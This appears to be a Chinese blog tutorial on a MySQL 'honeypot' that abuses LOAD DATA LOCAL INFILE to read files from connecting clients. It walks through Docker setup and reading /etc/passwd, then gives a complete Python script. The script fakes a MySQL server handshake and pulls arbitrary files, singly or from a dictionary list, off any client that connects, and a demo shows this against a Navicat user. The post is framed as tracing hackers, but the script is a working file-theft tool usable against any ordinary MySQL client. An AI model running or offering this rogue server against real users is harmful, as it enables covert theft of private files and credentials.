MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

相关阅读

杂谈

其实,一年前热心网友就分享过一篇Mysql蜜罐的文章进行科普,但是其实里面并没有比较详细的阐述相关的技术细节,最近又有热心网友私信,故,今天做个稍微详细的补充。

实验一:LOAD DATA INFILE用法演示

基础知识

通常情况下,如果连接到MySQL数据库,在确认开启了local_infile情况下,你可以使用load data local infile将本地文件内容写入到数据库表中,由此,就有热心网友产生了一个奇妙的想法,那就是让你主动连接到MySQL数据库之后,读取你电脑中的文件,实现对黑客进行溯源。

环境

  • 虚拟机1:一台部署mysql(可以Docker一键搭建)
  • 虚拟机2:一台用来连接(这里使用kali linux)

虚拟机1:搭建MySQL环境

我们这里使用的CentOS的虚拟机

如果你的CentOS没有安装Docker,可以参考下面的命令行,安装docker

在 CentOS 系统上安装 Docker,可以通过以下步骤完成:

更新系统软件包:

sudo yum update -y

安装依赖包:

sudo yum install -y yum-utils device-mapper-persistent-data lvm2

添加 Docker 官方仓库:

sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

安装 Docker CE(社区版):

sudo yum install -y docker-ce docker-ce-cli containerd.io

启动 Docker 服务:

sudo systemctl start docker

设置 Docker 服务开机自启动:

sudo systemctl enable docker

验证 Docker 安装成功:

sudo docker --version

现在,我们确认已经安装好docker了,使用docker获取mysql的镜像

docker pull mysql:latest
图片[1]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog
docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql
图片[2]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

这里创建的MySQL数据库账户是root密码是123456

我们也可以通过Windows电脑里的Navicat进行连接

图片[3]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

我们可以这里创建一个名为test的数据库,以便进行下面的测试

图片[4]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

同时建一个test的数据表

图片[5]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

其中字段也是test

图片[6]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

虚拟机2:连接MySQL数据库

现在,我们使用第二台虚拟机,我们这里使用的是Kali Linux

mysql -h 192.168.244.129 -u root -p

这里-p之后输入密码,就是我们刚才使用Docker部署的MySQL的root密码,即123456

图片[7]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

查看local_infile是否启用

show global variables like 'local_infile';
图片[8]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

我们这里看到是禁用的状态,输入下面的命令进行启用

set global local_infile=1;
图片[9]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

可以看到现在是已经启用了的

现在,我们做一些大胆的尝试,尝试直接写入本地文件,我提前在桌面上创建了一个fancypig.txt的文件

mousepad fancypig.txt
图片[10]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

之后我们在Kali Linux终端里,使用下面的命令尝试读取桌面的文件写入数据库

load data local infile '/home/fancypig/桌面/fancypig.txt' into table test fields terminated by '\n';
图片[11]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

之后,我们去navicat上看下,居然读取进去了

图片[12]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

当然,你还可以在疯狂一些,比方说读取一些特定的文件,如/etc/passwd

load data local infile '/etc/passwd' into table test fields terminated by '\n';
图片[13]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

可以看到/etc/passwd也被读取进去了

图片[14]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

与我们命令行输入的cat /etc/passwd读取到的内容完全一致

图片[15]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

总结

至此,实验结束,我们发现了一个有趣的事情,那就是,连接到MySQL之后,可以使用load data local infile方式任意读取电脑中的文件,这也就是为什么说,如果你构造一个MySQL蜜罐,可以主动执行上述命令,在别人连接到你的蜜罐之后,就自动读取电脑中的一些资料,从而进行溯源。

如果你深入研究,可以通过Wireshark进一步分析MySQL协议

图片[16]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

可以看到每个命令在流量中对应的关系

图片[17]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

之后便可以尝试伪造一个MySQL的服务

实验二:搭建MySQL蜜罐

基于上面的知识背景,我们尝试制作一个MySQL的蜜罐,其实就是使用socket发送刚才我们看到的wireshark中左侧的16进制字符来模拟MySQL交互

脚本代码

MysqlHoneyPot.py

# -*- coding: utf-8 -*-
import socket
import os
import sys
from pathlib import Path
import platform
class MySQLFileReader:

    def __init__(self, port):
        self.port = port
        self.sv = socket.socket()
        self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sv.bind(("", port))
        self.sv.listen(5)

    def mysql_get_file_content(self, filename):
        conn, address = self.sv.accept()
        print(f"收到连接: {address[0]}")
        logpath = os.path.abspath('.') + "/log/" + address[0]
        if not os.path.exists(logpath):
            os.makedirs(logpath)

        server_version = b"\x0a\x35\x2e\x35\x2e\x35\x33"
        if platform.system() == "Linux":
            server_version = b"\x0a\x35\x2e\x37\x2e\x32\x39"

        conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
        conn.recv(9999)
        conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
        conn.recv(9999)

        wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"\x00\x00\x01\xFB" + filename.encode()
        conn.sendall(wantfile)
        content = conn.recv(9999)
        conn.close()

        if len(content) > 4:
            content_str = content.decode()
            with open(logpath + "/" + Path(filename).name, "w") as txt:
                txt.write(content_str)
            print(f"文件内容: \n{content_str}")
            return True
        else:
            return False

    def read_files_from_input(self):
        print(f"已在 {self.port} 端口启用MySQL蜜罐")
        while True:
            filename = input("请输入接下来你想读的文件名 (直接按回车退出): ")
            if filename == "":
                break
            res = self.mysql_get_file_content(filename)
            if res:
                print(f"文件已保存 ---> {filename}")
            else:
                print(f"文件未找到 ---> {filename}")

    def read_files_from_dict(self, dict_file):
        print(f"已在 {self.port} 端口启用MySQL蜜罐")
        with open(dict_file) as dicc:
            for line in dicc.readlines():
                line = line.strip("\n")
                res = self.mysql_get_file_content(line)
                if res:
                    print(f"文件已保存 ---> {line}")
                else:
                    print(f"文件未找到 ---> {line}")


if __name__ == "__main__":
    port = int(input("请输入监听端口号: "))
    mode = input('''
请选择读取模式: 
【1】从输入读取文件
【2】从字典读取文件
''')

    mysql_file_reader = MySQLFileReader(port)

    if mode == '1':
        mysql_file_reader.read_files_from_input()
    elif mode == '2':
        dict_file = input("请输入字典文件名: ")
        mysql_file_reader.read_files_from_dict(dict_file)
    else:
        print("无效的模式选择,请重新运行程序并输入正确的模式。")

使用演示

启动MySQL蜜罐

python3 MysqlHoneyPot.py

自定义端口选择3306

我们这里会模拟黑客使用Windows电脑连接,我预先放置一个pass.txt文件在电脑根目录下,等下看看能否让黑客连接MySQL蜜罐后,验证是否可以读取到这个文件

图片[18]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

我们现在启动蜜罐,并填入我们要读取的文件路径

图片[19]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

接下来,我们模拟黑客的操作,通常情况下黑客,会去扫描服务器的开放端口,这时发现有一个开放的3306端口,上面正运行着MySQL数据库

图片[20]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

黑客通常会对MySQL数据库进行弱口令爆破,之后会发现MySQL数据库是没有密码的

然后我们这里模拟黑客进行连接,使用navicat,通常情况下,我们会进行测试连接

图片[21]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

一旦点击,我们可以看到终端上已经显示到文件的内容了

图片[22]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog

以上只是一个针对测试连接时获取系统文件的一个演示,更多的玩法可以进一步研究,或者在评论区里留言

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 共10条

请登录后发表评论